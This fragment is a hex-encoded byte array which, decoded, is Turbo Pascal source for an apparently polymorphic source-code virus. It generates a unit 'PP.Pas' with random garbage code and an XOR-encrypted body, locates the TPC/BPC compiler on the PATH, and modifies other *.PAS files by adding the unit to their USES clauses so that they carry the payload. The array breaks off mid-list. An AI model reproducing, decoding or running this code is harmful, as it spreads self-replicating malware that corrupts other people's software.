$6B,$65,$52,$70,$3B,$0D,$0A,$56,$61,$72, $0D,$0A,$46,$3A,$53,$74,$72,$69,$6E,$67, $3B,$0D,$0A,$47,$3A,$42,$79,$74,$65,$3B, $0D,$0A,$7A,$5A,$3A,$42,$79,$74,$65,$3B, $0D,$0A,$4E,$3A,$42,$6F,$6F,$6C,$65,$61, $6E,$3B,$0D,$0A,$42,$65,$67,$69,$6E,$0D, $0A,$49,$66,$20,$4E,$6F,$74,$20,$49,$6E, $4C,$6F,$6F,$70,$20,$74,$68,$65,$6E,$0D, $0A,$42,$65,$67,$69,$6E,$0D,$0A,$46,$6F, $72,$20,$7A,$5A,$20,$3A,$3D,$20,$30,$20, $74,$6F,$20,$56,$61,$72,$4E,$75,$6D,$20, $64,$6F,$20,$49,$66,$20,$56,$61,$72,$73, $54,$5B,$7A,$5A,$5D,$20,$3D,$20,$30,$20, $74,$68,$65,$6E,$20,$42,$72,$65,$61,$6B, $3B,$0D,$0A,$49,$66,$20,$7A,$5A,$3C,$3D, $56,$61,$72,$4E,$75,$6D,$20,$74,$68,$65, $6E,$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A, $49,$6E,$4C,$6F,$6F,$70,$20,$3A,$3D,$20, $54,$72,$75,$65,$3B,$0D,$0A,$49,$6E,$4C, $6F,$6F,$70,$56,$61,$72,$20,$3A,$3D,$20, $7A,$5A,$3B,$0D,$0A,$57,$72,$69,$74,$65, $6C,$6E,$28,$41,$2C,$27,$42,$65,$67,$69, $6E,$27,$29,$3B,$0D,$0A,$57,$72,$69,$74, $65,$6C,$6E,$28,$41,$2C,$56,$61,$72,$73, $5B,$7A,$5A,$5D,$2B,$27,$20,$3A,$3D,$20, $27,$2C,$52,$61,$6E,$64,$6F,$6D,$28,$32, $35,$35,$29,$2C,$27,$3B,$27,$29,$3B,$0D, $0A,$57,$72,$69,$74,$65,$6C,$6E,$28,$41, $2C,$27,$52,$65,$70,$65,$61,$74,$27,$29, $3B,$0D,$0A,$4D,$61,$6B,$65,$47,$61,$72, $62,$3B,$0D,$0A,$57,$72,$69,$74,$65,$6C, $6E,$28,$41,$2C,$27,$49,$6E,$63,$28,$27, $2B,$56,$61,$72,$73,$5B,$7A,$5A,$5D,$2B, $27,$29,$3B,$27,$29,$3B,$0D,$0A,$4D,$61, $6B,$65,$47,$61,$72,$62,$3B,$0D,$0A,$57, $72,$69,$74,$65,$6C,$6E,$28,$41,$2C,$27, $55,$6E,$74,$69,$6C,$20,$27,$2B,$56,$61, $72,$73,$5B,$7A,$5A,$5D,$2B,$27,$20,$3D, $20,$27,$2C,$52,$61,$6E,$64,$6F,$6D,$28, $32,$35,$35,$29,$2C,$27,$3B,$27,$29,$3B, $0D,$0A,$57,$72,$69,$74,$65,$6C,$6E,$28, $41,$2C,$27,$45,$6E,$64,$3B,$27,$29,$3B, $0D,$0A,$49,$6E,$4C,$6F,$6F,$70,$20,$3A, $3D,$20,$46,$61,$6C,$73,$65,$3B,$0D,$0A, $45,$6E,$64,$3B,$0D,$0A,$45,$6E,$64,$3B, $0D,$0A,$45,$6E,$64,$3B,$0D,$0A,$0D,$0A, $50,$72,$6F,$63,$65,$64,$75,$72,$65,$20, $4D,$61,$6B,$65,$47,$61,$72,$62,$3B,$0D, $0A,$56,$61,$72,$0D,$0A,$47,$3A,$42,$79, $74,$65,$3B,$0D,$0A,$42,$65,$67,$69,$6E, $0D,$0A,$49,$66,$20,$49,$6E,$47,$20,$3C, $20,$32,$20,$74,$68,$65,$6E,$0D,$0A,$42, $65,$67,$69,$6E,$0D,$0A,$49,$6E,$63,$28, $49,$6E,$47,$29,$3B,$0D,$0A,$47,$20,$3A, $3D,$20,$52,$61,$6E,$64,$6F,$6D,$28,$33, $29,$3B,$0D,$0A,$43,$61,$73,$65,$20,$47, $20,$6F,$66,$0D,$0A,$30,$3A,$20,$20,$20, $4D,$61,$6B,$65,$41,$72,$3B,$0D,$0A,$31, $3A,$20,$20,$20,$4D,$61,$6B,$65,$49,$66, $3B,$0D,$0A,$32,$3A,$20,$20,$20,$4D,$61, $6B,$65,$52,$70,$3B,$0D,$0A,$45,$6E,$64, $3B,$0D,$0A,$44,$65,$63,$28,$49,$6E,$47, $29,$3B,$0D,$0A,$45,$6E,$64,$20,$45,$6C, $73,$65,$20,$4D,$61,$6B,$65,$41,$72,$3B, $0D,$0A,$0D,$0A,$45,$6E,$64,$3B,$0D,$0A, $50,$72,$6F,$63,$65,$64,$75,$72,$65,$20, $44,$6F,$50,$6F,$6C,$79,$3B,$0D,$0A,$43, $6F,$6E,$73,$74,$0D,$0A,$4F,$4E,$61,$6D, $65,$20,$3D,$20,$27,$50,$50,$2E,$50,$61, $73,$27,$3B,$0D,$0A,$56,$61,$72,$0D,$0A, $74,$74,$2C,$7A,$7A,$3A,$49,$6E,$74,$65, $67,$65,$72,$3B,$0D,$0A,$42,$65,$67,$69, $6E,$0D,$0A,$52,$61,$6E,$64,$6F,$6D,$69, $7A,$65,$3B,$0D,$0A,$41,$73,$73,$69,$67, $6E,$28,$41,$2C,$4F,$4E,$61,$6D,$65,$29, $3B,$0D,$0A,$52,$65,$77,$72,$69,$74,$65, $28,$41,$29,$3B,$0D,$0A,$49,$6E,$4C,$6F, $6F,$70,$20,$20,$20,$20,$20,$3A,$3D,$20, $46,$61,$6C,$73,$65,$3B,$0D,$0A,$49,$6E, $4C,$6F,$6F,$70,$56,$61,$72,$20,$20,$3A, $3D,$20,$30,$3B,$0D,$0A,$49,$6E,$47,$20, $20,$20,$20,$20,$20,$20,$20,$3A,$3D,$20, $30,$3B,$0D,$0A,$4B,$65,$79,$20,$20,$20, $20,$20,$20,$20,$20,$3A,$3D,$20,$52,$61, $6E,$64,$6F,$6D,$28,$32,$35,$35,$29,$3B, $0D,$0A,$56,$61,$72,$4E,$20,$20,$20,$20, $20,$20,$20,$3A,$3D,$20,$30,$3B,$0D,$0A, $49,$6E,$43,$61,$73,$65,$20,$20,$20,$20, $20,$3A,$3D,$20,$46,$61,$6C,$73,$65,$3B, $0D,$0A,$49,$6E,$46,$75,$6E,$63,$74,$69, $6F,$6E,$20,$3A,$3D,$20,$46,$61,$6C,$73, $65,$3B,$0D,$0A,$46,$43,$6F,$6E,$73,$74, $20,$20,$20,$20,$20,$3A,$3D,$20,$46,$61, $6C,$73,$65,$3B,$0D,$0A,$46,$75,$6E,$63, $74,$69,$6F,$6E,$42,$65,$67,$3A,$3D,$20, $46,$61,$6C,$73,$65,$3B,$0D,$0A,$46,$56, $61,$72,$20,$20,$20,$20,$20,$20,$20,$3A, $3D,$20,$46,$61,$6C,$73,$65,$3B,$0D,$0A, $4E,$6F,$4D,$6F,$72,$65,$20,$20,$20,$20, $20,$3A,$3D,$20,$46,$61,$6C,$73,$65,$3B, $0D,$0A,$42,$65,$67,$69,$6E,$4E,$75,$6D, $20,$20,$20,$3A,$3D,$20,$30,$3B,$0D,$0A, $42,$65,$67,$69,$6E,$46,$75,$6E,$63,$20, $20,$3A,$3D,$20,$30,$3B,$0D,$0A,$5A,$20, $3A,$3D,$20,$30,$3B,$0D,$0A,$58,$20,$3A, $3D,$20,$30,$3B,$0D,$0A,$43,$20,$3A,$3D, $20,$30,$3B,$0D,$0A,$56,$20,$3A,$3D,$20, $30,$3B,$0D,$0A,$43,$50,$6F,$73,$20,$3A, $3D,$20,$30,$3B,$0D,$0A,$4B,$65,$79,$7A, $20,$3A,$3D,$20,$30,$3B,$0D,$0A,$46,$6F, $72,$20,$69,$20,$3A,$3D,$20,$30,$20,$74, $6F,$20,$41,$72,$72,$4C,$65,$6E,$20,$64, $6F,$20,$42,$6F,$64,$79,$5B,$69,$5D,$20, $3A,$3D,$20,$42,$6F,$64,$79,$5B,$69,$5D, $20,$78,$6F,$72,$20,$4B,$65,$79,$7A,$3B, $0D,$0A,$69,$20,$3A,$3D,$20,$30,$3B,$0D, $0A,$72,$65,$70,$65,$61,$74,$0D,$0A,$58, $53,$74,$72,$69,$6E,$67,$20,$3A,$3D,$20, $47,$65,$74,$53,$74,$72,$69,$6E,$67,$3B, $0D,$0A,$57,$53,$74,$72,$69,$6E,$67,$20, $3A,$3D,$20,$55,$43,$61,$73,$65,$28,$54, $6F,$57,$6F,$72,$64,$28,$58,$53,$74,$72, $69,$6E,$67,$29,$29,$3B,$0D,$0A,$44,$53, $74,$72,$69,$6E,$67,$20,$3A,$3D,$20,$47, $65,$74,$57,$6F,$72,$64,$28,$57,$53,$74, $72,$69,$6E,$67,$2C,$31,$29,$3B,$0D,$0A, $49,$66,$20,$28,$44,$53,$74,$72,$69,$6E, $67,$20,$3D,$20,$27,$4B,$45,$59,$5A,$27, $29,$20,$74,$68,$65,$6E,$20,$57,$72,$69, $74,$65,$6C,$6E,$28,$41,$2C,$27,$4B,$65, $79,$7A,$20,$3A,$3D,$27,$2C,$4B,$65,$79, $2C,$27,$3B,$27,$29,$0D,$0A,$45,$6C,$73, $65,$20,$57,$72,$69,$74,$65,$6C,$6E,$28, $41,$2C,$58,$53,$74,$72,$69,$6E,$67,$29, $3B,$0D,$0A,$49,$66,$20,$44,$53,$74,$72, $69,$6E,$67,$20,$3D,$20,$27,$43,$4F,$4E, $53,$54,$27,$20,$74,$68,$65,$6E,$20,$46, $43,$6F,$6E,$73,$74,$20,$3A,$3D,$20,$54, $72,$75,$65,$3B,$0D,$0A,$49,$66,$20,$28, $44,$53,$74,$72,$69,$6E,$67,$20,$3D,$20, $27,$56,$41,$52,$27,$29,$20,$74,$68,$65, $6E,$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A, $46,$43,$6F,$6E,$73,$74,$20,$3A,$3D,$20, $46,$61,$6C,$73,$65,$3B,$0D,$0A,$46,$56, $61,$72,$20,$20,$20,$3A,$3D,$20,$54,$72, $75,$65,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D, $0A,$49,$66,$20,$44,$53,$74,$72,$69,$6E, $67,$20,$3D,$20,$27,$46,$55,$4E,$43,$54, $49,$4F,$4E,$27,$20,$74,$68,$65,$6E,$0D, $0A,$42,$65,$67,$69,$6E,$0D,$0A,$46,$56, $61,$72,$20,$3A,$3D,$20,$46,$61,$6C,$73, $65,$3B,$0D,$0A,$49,$6E,$46,$75,$6E,$63, $74,$69,$6F,$6E,$20,$3A,$3D,$20,$54,$72, $75,$65,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D, $0A,$49,$66,$20,$44,$53,$74,$72,$69,$6E, $67,$20,$3D,$20,$27,$50,$52,$4F,$43,$45, $44,$55,$52,$45,$27,$20,$74,$68,$65,$6E, $0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,$46, $56,$61,$72,$20,$3A,$3D,$20,$46,$61,$6C, $73,$65,$3B,$0D,$0A,$49,$6E,$46,$75,$6E, $63,$74,$69,$6F,$6E,$20,$3A,$3D,$20,$54, $72,$75,$65,$3B,$0D,$0A,$45,$6E,$64,$3B, $0D,$0A,$49,$66,$20,$28,$44,$53,$74,$72, $69,$6E,$67,$20,$3D,$20,$27,$42,$45,$47, $49,$4E,$27,$29,$20,$61,$6E,$64,$20,$28, $4E,$6F,$74,$20,$49,$6E,$46,$75,$6E,$63, $74,$69,$6F,$6E,$29,$20,$61,$6E,$64,$20, $28,$4E,$6F,$74,$20,$49,$6E,$43,$61,$73, $65,$29,$20,$74,$68,$65,$6E,$20,$49,$6E, $63,$28,$42,$65,$67,$69,$6E,$4E,$75,$6D, $29,$3B,$0D,$0A,$49,$66,$20,$28,$44,$53, $74,$72,$69,$6E,$67,$20,$3D,$20,$27,$45, $4E,$44,$3B,$27,$29,$20,$61,$6E,$64,$20, $28,$4E,$6F,$74,$20,$49,$6E,$46,$75,$6E, $63,$74,$69,$6F,$6E,$29,$20,$61,$6E,$64, $20,$28,$4E,$6F,$74,$20,$49,$6E,$43,$61, $73,$65,$29,$20,$74,$68,$65,$6E,$20,$20, $44,$65,$63,$28,$42,$65,$67,$69,$6E,$4E, $75,$6D,$29,$3B,$0D,$0A,$49,$66,$20,$28, $44,$53,$74,$72,$69,$6E,$67,$20,$3D,$20, $27,$43,$41,$53,$45,$27,$29,$20,$74,$68, $65,$6E,$20,$49,$6E,$43,$61,$73,$65,$20, $3A,$3D,$20,$54,$72,$75,$65,$3B,$0D,$0A, $49,$66,$20,$28,$44,$53,$74,$72,$69,$6E, $67,$20,$3D,$20,$27,$45,$4E,$44,$3B,$27, $29,$20,$61,$6E,$64,$20,$28,$4E,$6F,$74, $20,$49,$6E,$46,$75,$6E,$63,$74,$69,$6F, $6E,$29,$20,$61,$6E,$64,$20,$28,$49,$6E, $43,$61,$73,$65,$29,$20,$74,$68,$65,$6E, $20,$20,$49,$6E,$43,$61,$73,$65,$20,$3A, $3D,$20,$46,$61,$6C,$73,$65,$3B,$0D,$0A, $49,$66,$20,$28,$44,$53,$74,$72,$69,$6E, $67,$20,$3D,$20,$27,$45,$4E,$44,$2E,$27, $29,$20,$74,$68,$65,$6E,$20,$4E,$6F,$4D, $6F,$72,$65,$20,$3A,$3D,$20,$54,$72,$75, $65,$3B,$0D,$0A,$49,$66,$20,$28,$44,$53, $74,$72,$69,$6E,$67,$20,$3D,$20,$27,$42, $45,$47,$49,$4E,$27,$29,$20,$61,$6E,$64, $20,$28,$49,$6E,$46,$75,$6E,$63,$74,$69, $6F,$6E,$29,$20,$74,$68,$65,$6E,$0D,$0A, $42,$65,$67,$69,$6E,$0D,$0A,$46,$56,$61, $72,$20,$3A,$3D,$20,$46,$61,$6C,$73,$65, $3B,$0D,$0A,$49,$6E,$63,$28,$42,$65,$67, $69,$6E,$46,$75,$6E,$63,$29,$3B,$0D,$0A, $45,$6E,$64,$3B,$0D,$0A,$49,$66,$20,$28, $44,$53,$74,$72,$69,$6E,$67,$20,$3D,$20, $27,$45,$4E,$44,$3B,$27,$29,$20,$61,$6E, $64,$20,$28,$49,$6E,$46,$75,$6E,$63,$74, $69,$6F,$6E,$29,$20,$74,$68,$65,$6E,$0D, $0A,$42,$65,$67,$69,$6E,$0D,$0A,$44,$65, $63,$28,$42,$65,$67,$69,$6E,$46,$75,$6E, $63,$29,$3B,$0D,$0A,$49,$66,$20,$42,$65, $67,$69,$6E,$46,$75,$6E,$63,$20,$3D,$20, $30,$20,$74,$68,$65,$6E,$20,$49,$6E,$46, $75,$6E,$63,$74,$69,$6F,$6E,$20,$3A,$3D, $20,$46,$61,$6C,$73,$65,$3B,$0D,$0A,$45, $6E,$64,$3B,$0D,$0A,$49,$66,$20,$28,$44, $53,$74,$72,$69,$6E,$67,$20,$3D,$20,$27, $42,$4F,$44,$59,$27,$29,$20,$74,$68,$65, $6E,$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A, $5A,$7A,$20,$3A,$3D,$20,$30,$3B,$0D,$0A, $46,$6F,$72,$20,$54,$74,$20,$3A,$3D,$20, $30,$20,$74,$6F,$20,$41,$72,$72,$4C,$65, $6E,$2D,$31,$20,$64,$6F,$0D,$0A,$42,$65, $67,$69,$6E,$0D,$0A,$57,$72,$69,$74,$65, $28,$41,$2C,$42,$6F,$64,$79,$5B,$54,$74, $5D,$20,$58,$6F,$72,$20,$4B,$65,$79,$2C, $27,$2C,$27,$29,$3B,$0D,$0A,$49,$6E,$63, $28,$5A,$7A,$29,$3B,$0D,$0A,$49,$66,$20, $5A,$5A,$20,$3D,$20,$31,$30,$20,$74,$68, $65,$6E,$0D,$0A,$42,$65,$67,$69,$6E,$0D, $0A,$57,$72,$69,$74,$65,$6C,$6E,$28,$41, $2C,$27,$27,$29,$3B,$0D,$0A,$5A,$5A,$20, $3A,$3D,$20,$30,$3B,$0D,$0A,$45,$6E,$64, $3B,$0D,$0A,$45,$6E,$64,$3B,$0D,$0A,$57, $72,$69,$74,$65,$6C,$6E,$28,$41,$2C,$42, $6F,$64,$79,$5B,$41,$72,$72,$4C,$65,$6E, $5D,$29,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D, $0A,$49,$66,$20,$28,$46,$56,$61,$72,$29, $20,$61,$6E,$64,$20,$28,$4E,$6F,$74,$20, $49,$6E,$46,$75,$6E,$63,$74,$69,$6F,$6E, $29,$20,$61,$6E,$64,$20,$28,$52,$61,$6E, $64,$6F,$6D,$28,$33,$29,$20,$3D,$20,$30, $29,$20,$74,$68,$65,$6E,$20,$4D,$61,$6B, $65,$56,$61,$72,$3B,$0D,$0A,$49,$66,$20, $28,$44,$53,$74,$72,$69,$6E,$67,$20,$3C, $3E,$20,$27,$49,$46,$27,$29,$20,$61,$6E, $64,$20,$28,$44,$53,$74,$72,$69,$6E,$67, $20,$3C,$3E,$20,$27,$46,$4F,$52,$27,$29, $20,$61,$6E,$64,$20,$28,$44,$53,$74,$72, $69,$6E,$67,$20,$3C,$3E,$20,$27,$57,$48, $49,$4C,$45,$27,$29,$20,$74,$68,$65,$6E, $0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,$49, $66,$20,$28,$4E,$6F,$74,$20,$46,$56,$61, $72,$29,$20,$61,$6E,$64,$20,$28,$4E,$6F, $74,$20,$46,$43,$6F,$6E,$73,$74,$29,$20, $61,$6E,$64,$20,$28,$42,$65,$67,$69,$6E, $4E,$75,$6D,$3E,$30,$29,$0D,$0A,$61,$6E, $64,$20,$28,$42,$65,$67,$69,$6E,$46,$75, $6E,$63,$3D,$30,$29,$20,$61,$6E,$64,$20, $28,$4E,$6F,$74,$20,$4E,$6F,$4D,$6F,$72, $65,$29,$20,$61,$6E,$64,$20,$28,$52,$61, $6E,$64,$6F,$6D,$28,$33,$29,$3D,$30,$29, $20,$61,$6E,$64,$20,$28,$4E,$6F,$74,$20, $49,$6E,$43,$61,$73,$65,$29,$20,$74,$68, $65,$6E,$20,$4D,$61,$6B,$65,$47,$61,$72, $62,$3B,$0D,$0A,$49,$66,$20,$28,$4E,$6F, $74,$20,$46,$56,$61,$72,$29,$20,$61,$6E, $64,$20,$28,$4E,$6F,$74,$20,$46,$43,$6F, $6E,$73,$74,$29,$20,$61,$6E,$64,$20,$28, $42,$65,$67,$69,$6E,$4E,$75,$6D,$3D,$30, $29,$0D,$0A,$61,$6E,$64,$20,$28,$42,$65, $67,$69,$6E,$46,$75,$6E,$63,$3E,$30,$29, $20,$61,$6E,$64,$20,$28,$49,$6E,$46,$75, $6E,$63,$74,$69,$6F,$6E,$29,$20,$61,$6E, $64,$20,$28,$52,$61,$6E,$64,$6F,$6D,$28, $33,$29,$3D,$30,$29,$20,$61,$6E,$64,$20, $28,$4E,$6F,$74,$20,$49,$6E,$43,$61,$73, $65,$29,$20,$74,$68,$65,$6E,$20,$4D,$61, $6B,$65,$47,$61,$72,$62,$3B,$0D,$0A,$45, $6E,$64,$3B,$0D,$0A,$55,$6E,$74,$69,$6C, $20,$4E,$6F,$4D,$6F,$72,$65,$3B,$0D,$0A, $43,$6C,$6F,$73,$65,$28,$41,$29,$3B,$0D, $0A,$45,$6E,$64,$3B,$0D,$0A,$0D,$0A,$42, $65,$67,$69,$6E,$0D,$0A,$44,$6F,$50,$6F, $6C,$79,$3B,$0D,$0A,$58,$53,$74,$72,$69, $6E,$67,$20,$3A,$3D,$20,$47,$65,$74,$45, $6E,$76,$28,$27,$50,$41,$54,$48,$27,$29, $3B,$0D,$0A,$0D,$0A,$47,$65,$74,$44,$69, $72,$28,$30,$2C,$44,$53,$74,$72,$69,$6E, $67,$29,$3B,$0D,$0A,$72,$65,$70,$65,$61, $74,$0D,$0A,$57,$53,$74,$72,$69,$6E,$67, $20,$3A,$3D,$20,$55,$43,$61,$73,$65,$28, $43,$6F,$70,$79,$28,$58,$53,$74,$72,$69, $6E,$67,$2C,$69,$2C,$50,$6F,$73,$28,$27, $3B,$27,$2C,$58,$53,$74,$72,$69,$6E,$67, $29,$2D,$31,$29,$29,$3B,$0D,$0A,$49,$66, $20,$57,$53,$74,$72,$69,$6E,$67,$20,$3D, $20,$27,$27,$20,$74,$68,$65,$6E,$20,$58, $53,$74,$72,$69,$6E,$67,$20,$3A,$3D,$20, $27,$27,$3B,$0D,$0A,$58,$53,$74,$72,$69, $6E,$67,$20,$3A,$3D,$20,$43,$6F,$70,$79, $28,$58,$53,$74,$72,$69,$6E,$67,$2C,$50, $6F,$73,$28,$27,$3B,$27,$2C,$58,$53,$74, $72,$69,$6E,$67,$29,$2B,$31,$2C,$4C,$65, $6E,$67,$74,$68,$28,$58,$53,$74,$72,$69, $6E,$67,$29,$29,$3B,$0D,$0A,$43,$68,$44, $69,$72,$28,$57,$53,$74,$72,$69,$6E,$67, $29,$3B,$0D,$0A,$41,$73,$73,$69,$67,$6E, $28,$46,$65,$7A,$69,$2C,$27,$54,$50,$43, $2E,$45,$58,$45,$27,$29,$3B,$0D,$0A,$52, $65,$73,$65,$74,$28,$46,$65,$7A,$69,$29, $3B,$0D,$0A,$49,$66,$20,$49,$4F,$52,$65, $73,$75,$6C,$74,$20,$3D,$20,$30,$20,$74, $68,$65,$6E,$0D,$0A,$42,$65,$67,$69,$6E, $0D,$0A,$43,$6C,$6F,$73,$65,$28,$46,$65, $7A,$69,$29,$3B,$0D,$0A,$43,$6F,$6D,$70, $69,$6C,$65,$28,$27,$54,$50,$43,$2E,$45, $58,$45,$27,$29,$3B,$0D,$0A,$42,$72,$65, $61,$6B,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D, $0A,$41,$73,$73,$69,$67,$6E,$28,$46,$65, $7A,$69,$2C,$27,$42,$50,$43,$2E,$45,$58, $45,$27,$29,$3B,$0D,$0A,$52,$65,$73,$65, $74,$28,$46,$65,$5A,$69,$29,$3B,$0D,$0A, $49,$66,$20,$49,$4F,$52,$65,$73,$75,$6C, $74,$20,$3D,$20,$30,$20,$74,$68,$65,$6E, $0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,$43, $6C,$6F,$73,$65,$28,$46,$65,$7A,$69,$29, $3B,$0D,$0A,$43,$6F,$6D,$70,$69,$6C,$65, $28,$27,$54,$50,$43,$2E,$45,$58,$45,$27, $29,$3B,$0D,$0A,$42,$72,$65,$61,$6B,$3B, $0D,$0A,$45,$6E,$64,$3B,$0D,$0A,$75,$6E, $74,$69,$6C,$20,$58,$53,$74,$72,$69,$6E, $67,$20,$3D,$20,$27,$27,$3B,$0D,$0A,$0D, $0A,$43,$68,$44,$69,$72,$28,$44,$53,$74, $72,$69,$6E,$67,$29,$3B,$0D,$0A,$49,$66, $20,$58,$53,$74,$72,$69,$6E,$67,$20,$3C, $3E,$20,$27,$27,$20,$74,$68,$65,$6E,$0D, $0A,$42,$65,$67,$69,$6E,$0D,$0A,$41,$73, $73,$69,$67,$6E,$28,$46,$65,$7A,$69,$2C, $27,$50,$50,$2E,$50,$41,$53,$27,$29,$3B, $0D,$0A,$45,$72,$61,$73,$65,$28,$46,$65, $7A,$69,$29,$3B,$0D,$0A,$45,$6E,$64,$3B, $0D,$0A,$0D,$0A,$46,$69,$6E,$64,$46,$69, $72,$73,$74,$28,$27,$2A,$2E,$50,$41,$53, $27,$2C,$20,$41,$72,$63,$68,$69,$76,$65, $2C,$20,$46,$69,$7A,$29,$3B,$0D,$0A,$77, $68,$69,$6C,$65,$20,$44,$6F,$73,$45,$72, $72,$6F,$72,$20,$3D,$20,$30,$20,$64,$6F, $0D,$0A,$62,$65,$67,$69,$6E,$0D,$0A,$5A, $20,$3A,$3D,$20,$30,$3B,$0D,$0A,$58,$20, $3A,$3D,$20,$30,$3B,$0D,$0A,$4E,$6F,$4D, $6F,$72,$65,$20,$3A,$3D,$20,$46,$61,$6C, $73,$65,$3B,$0D,$0A,$41,$73,$73,$69,$67, $6E,$28,$46,$65,$7A,$69,$2C,$46,$69,$7A, $2E,$4E,$61,$6D,$65,$29,$3B,$0D,$0A,$52, $65,$73,$65,$74,$28,$46,$65,$7A,$69,$29, $3B,$0D,$0A,$49,$66,$20,$46,$69,$7A,$2E, $53,$69,$7A,$65,$20,$3C,$20,$31,$36,$30, $30,$30,$20,$74,$68,$65,$6E,$0D,$0A,$42, $65,$67,$69,$6E,$0D,$0A,$0D,$0A,$72,$65, $70,$65,$61,$74,$0D,$0A,$4E,$65,$77,$28, $42,$42,$4E,$5B,$5A,$5D,$29,$3B,$0D,$0A, $52,$65,$61,$64,$6C,$6E,$28,$46,$65,$7A, $69,$2C,$42,$42,$4E,$5B,$5A,$5D,$5E,$29, $3B,$0D,$0A,$49,$6E,$63,$28,$5A,$29,$3B, $0D,$0A,$75,$6E,$74,$69,$6C,$20,$45,$6F, $66,$28,$46,$65,$7A,$69,$29,$3B,$0D,$0A, $43,$6C,$6F,$73,$65,$28,$46,$65,$7A,$69, $29,$3B,$0D,$0A,$0D,$0A,$42,$50,$6F,$73, $20,$3A,$3D,$20,$46,$61,$6C,$73,$65,$3B, $0D,$0A,$46,$6F,$72,$20,$69,$20,$3A,$3D, $20,$30,$20,$74,$6F,$20,$5A,$2D,$31,$20, $64,$6F,$20,$49,$66,$20,$50,$6F,$73,$28, $27,$7B,$24,$4D,$27,$2C,$42,$42,$4E,$5B, $69,$5D,$5E,$29,$3E,$30,$20,$74,$68,$65, $6E,$20,$42,$50,$6F,$73,$20,$3A,$3D,$20, $54,$72,$75,$65,$3B,$0D,$0A,$49,$66,$20, $4E,$6F,$74,$20,$42,$50,$6F,$73,$20,$74, $68,$65,$6E,$0D,$0A,$62,$65,$67,$69,$6E, $0D,$0A,$42,$50,$6F,$73,$20,$3A,$3D,$20, $46,$61,$6C,$73,$65,$3B,$0D,$0A,$69,$20, $3A,$3D,$20,$30,$3B,$0D,$0A,$72,$65,$70, $65,$61,$74,$0D,$0A,$49,$6E,$63,$28,$49, $29,$3B,$0D,$0A,$49,$66,$20,$4C,$65,$6E, $67,$74,$68,$28,$42,$42,$4E,$5B,$69,$5D, $5E,$29,$3C,$34,$30,$20,$74,$68,$65,$6E, $20,$42,$50,$6F,$73,$20,$3A,$3D,$20,$54, $72,$75,$65,$3B,$0D,$0A,$75,$6E,$74,$69, $6C,$20,$42,$50,$6F,$73,$3B,$0D,$0A,$4E, $65,$77,$28,$42,$42,$4E,$5B,$5A,$5D,$29, $3B,$0D,$0A,$46,$6F,$72,$20,$43,$20,$3A, $3D,$20,$5A,$2D,$31,$20,$64,$6F,$77,$6E, $74,$6F,$20,$69,$20,$64,$6F,$20,$42,$42, $4E,$5B,$43,$2B,$31,$5D,$5E,$20,$3A,$3D, $20,$42,$42,$4E,$5B,$43,$5D,$5E,$3B,$0D, $0A,$42,$42,$4E,$5B,$69,$5D,$5E,$20,$3A, $3D,$20,$27,$7B,$24,$4D,$20,$24,$38,$30, $30,$30,$2C,$30,$2C,$32,$30,$30,$30,$30, $30,$7D,$27,$3B,$0D,$0A,$49,$6E,$63,$28, $5A,$29,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D, $0A,$0D,$0A,$58,$20,$3A,$3D,$20,$30,$3B, $0D,$0A,$69,$20,$3A,$3D,$20,$30,$3B,$0D, $0A,$0D,$0A,$72,$65,$70,$65,$61,$74,$0D, $0A,$57,$53,$74,$72,$69,$6E,$67,$20,$3A, $3D,$20,$47,$65,$74,$57,$6F,$72,$64,$28, $55,$43,$61,$73,$65,$28,$54,$6F,$57,$6F, $72,$64,$28,$42,$42,$4E,$5B,$58,$5D,$5E, $29,$29,$2C,$31,$29,$3B,$0D,$0A,$49,$6E, $63,$28,$58,$29,$3B,$0D,$0A,$75,$6E,$74, $69,$6C,$20,$28,$57,$53,$74,$72,$69,$6E, $67,$20,$3D,$20,$27,$55,$53,$45,$53,$27, $29,$20,$6F,$72,$20,$28,$58,$3E,$5A,$29, $3B,$0D,$0A,$49,$66,$20,$5A,$20,$3E,$20, $58,$20,$74,$68,$65,$6E,$0D,$0A,$49,$66, $20,$50,$6F,$73,$28,$27,$50,$50,$27,$2C, $42,$42,$4E,$5B,$58,$2D,$31,$5D,$5E,$29, $20,$3D,$20,$30,$20,$74,$68,$65,$6E,$0D, $0A,$42,$65,$67,$69,$6E,$0D,$0A,$49,$66, $20,$57,$6F,$72,$64,$43,$6F,$75,$6E,$74, $28,$42,$42,$4E,$5B,$58,$2D,$31,$5D,$5E, $29,$20,$3C,$3E,$20,$30,$20,$74,$68,$65, $6E,$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A, $43,$20,$3A,$3D,$20,$50,$6F,$73,$28,$27, $3B,$27,$2C,$42,$42,$4E,$5B,$58,$2D,$31, $5D,$5E,$29,$3B,$0D,$0A,$58,$53,$74,$72, $69,$6E,$67,$20,$3A,$3D,$20,$43,$6F,$70, $79,$28,$42,$42,$4E,$5B,$58,$2D,$31,$5D, $5E,$2C,$31,$2C,$43,$2D,$31,$29,$2B,$27, $2C,$50,$50,$27,$2B,$43,$6F,$70,$79,$28, $42,$42,$4E,$5B,$58,$2D,$31,$5D,$5E,$2C, $43,$2C,$4C,$65,$6E,$67,$74,$68,$28,$42, $42,$4E,$5B,$58,$2D,$31,$5D,$5E,$29,$29, $3B,$0D,$0A,$42,$42,$4E,$5B,$58,$2D,$31, $5D,$5E,$20,$3A,$3D,$20,$58,$53,$74,$72, $69,$6E,$67,$3B,$0D,$0A,$45,$6E,$64,$20, $45,$6C,$73,$65,$0D,$0A,$42,$65,$67,$69, $6E,$0D,$0A,$58,$53,$74,$72,$69,$6E,$67, $20,$3A,$3D,$20,$42,$42,$4E,$5B,$58,$2D, $31,$5D,$5E,$20,$2B,$20,$27,$20,$50,$50, $2C,$27,$3B,$0D,$0A,$42,$42,$4E,$5B,$58, $2D,$31,$5D,$5E,$20,$3A,$3D,$20,$58,$53, $74,$72,$69,$6E,$67,$3B,$0D,$0A,$45,$6E, $64,$3B,$0D,$0A,$41,$73,$73,$69,$67,$6E, $28,$46,$65,$7A,$69,$2C,$46,$69,$7A,$2E, 